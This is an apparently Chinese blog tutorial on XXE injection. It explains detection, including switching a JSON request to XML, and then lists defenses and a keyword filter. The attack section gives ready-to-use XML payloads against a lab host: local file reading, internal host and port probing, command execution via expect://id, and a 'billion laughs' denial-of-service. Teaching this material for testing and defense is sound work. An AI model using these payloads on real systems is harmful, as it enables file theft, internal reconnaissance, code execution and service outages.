• web漏洞之XXE


    一、概述

      1.1什么是XXE?

      XXE(XML External Entity Injection),即XML外部实体化注入漏洞,XML 文件在引用外部实体时候没有对进行过滤或者没有禁止外部实体的加载,导致攻击者可以构造恶意内容或加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

      1.2常见位置

        xxe漏洞触发的位置往往是可以上传xml文件的位置,且没有对上传的xml文件进行过滤,导致可上传恶意xml文件

    二、漏洞验证

      2.1、如果发现数据直接传送方式为XML,那么直接注入Payload进行测试;

        2.1.1首先拦截传输数据的数据包,查看是否为xml,如下图就是明显的xml传输

        2.1.2构造攻击数据包

     

      

      2.2、如果HTTP请求头里Content-Type为application/json并使用Json进行数据交互的Web站点,可以修改其Content-Type为application/xml,并尝试进行XXE注入。

        2.2.1拦截求情数据包,注意是json传输

     

        2.2.2修改数据包为xml,然后构造攻击语句

     

        2.2.3文件成功解析之行,说明攻击成功,漏洞存在

     

    三、攻击方法

      这里我们以目标机(ip:192.168.91.133)为例:

      1.在目标机器的C盘根目录新建一个1.txt文件,内容为:password

     

      2.在同一个网段准备一台用来实现内网攻击的机器,同时开启phpstudy,我们这里以win7(ip:192.168.91.132)为例:

     

     3.1文件读取

      3.1.1攻击代码

    <?xml version="1.0"  encoding="UTF-8"?>

    <!DOCTYPE name [

    <!ENTITY xxe SYSTEM "file:///c://1.txt">]>

    <name>&xxe;</name>

      3.1.2攻击效果

     

    3.2主机探测

      3.2.1攻击代码

    <?xml version="1.0"  encoding="UTF-8"?>

    <!DOCTYPE name [

    <!ENTITY xxe SYSTEM "http://192.168.91.132">]>

    <name>&xxe;</name> 

      3.2.2攻击效果

     

    3.3端口探测

      3.3.1攻击代码

    <?xml version="1.0"  encoding="UTF-8"?>

    <!DOCTYPE name [

    <!ENTITY xxe SYSTEM "http://192.168.91.132:80">]>

    <name>&xxe;</name>

      3.3.2攻击效果(这里我们加入了端口号,和之前主机发现不同)

     

    3.3代码执行

    <?xml version="1.0"  encoding="UTF-8"?>

    <!DOCTYPE name [

    <!ENTITY xxe SYSTEM " expect://id ">]>

    <name>&xxe;</name>

     3.4攻击内网

      该攻击主要是攻击内网其他网站,通过构造攻击数据包加入ip进行执行

    3.5DDOS攻击

    <?xml version="1.0"  encoding="UTF-8"?>

      <!DOCTYPE lolz [

        <!ENTITY lol "lol">

        <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

        <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

        <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

        <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

        <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

        <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

        <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

        <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

      ]>

        <lolz>&lol9;</lolz>

    四、防御方法

    4.1. 使用开发语言提供的禁用外部实体的方法

       PHP可以通过设置libxml_disable_entity_loader为true来禁用外部实体

       Java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

         dbf.setExpandEntityReferences(false);

       Python: from lxml import etree

       xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

      

    4.2.对用户提交的XML数据进行过滤

      比如关键词<!DOCTYPE 和 <!ENTITY,还有SYSTEM 和 PUBLIC。  

    五、危害

           1、任意文件读取

           2、端口扫描

           3、攻击内网

           4、远程代码执行

           5、DDOS(拒绝服务攻击)

  • 相关阅读:
    vue 项目界面绘制_stylus_iconfont_swiper
    react_结合 redux
    BOM 浏览器对象模型_当前窗口的浏览历史 history 对象
    BOM 浏览器对象模型_Storage 接口
    react_app 项目开发 (9)_数据可视化 ECharts
    react_app 项目开发 (8)_角色管理_用户管理----权限管理 ---- shouldComponentUpdate
    BOM 浏览器对象模型_同源限制
    面试题: 多个 await 处理,有一个失败,就算作失败
    react_app 项目开发 (7)_难点集合
    react_app 项目开发_遇到的坑
  • 原文地址:https://www.cnblogs.com/bin1121/p/12550998.html
Copyright © 2020-2023  润新知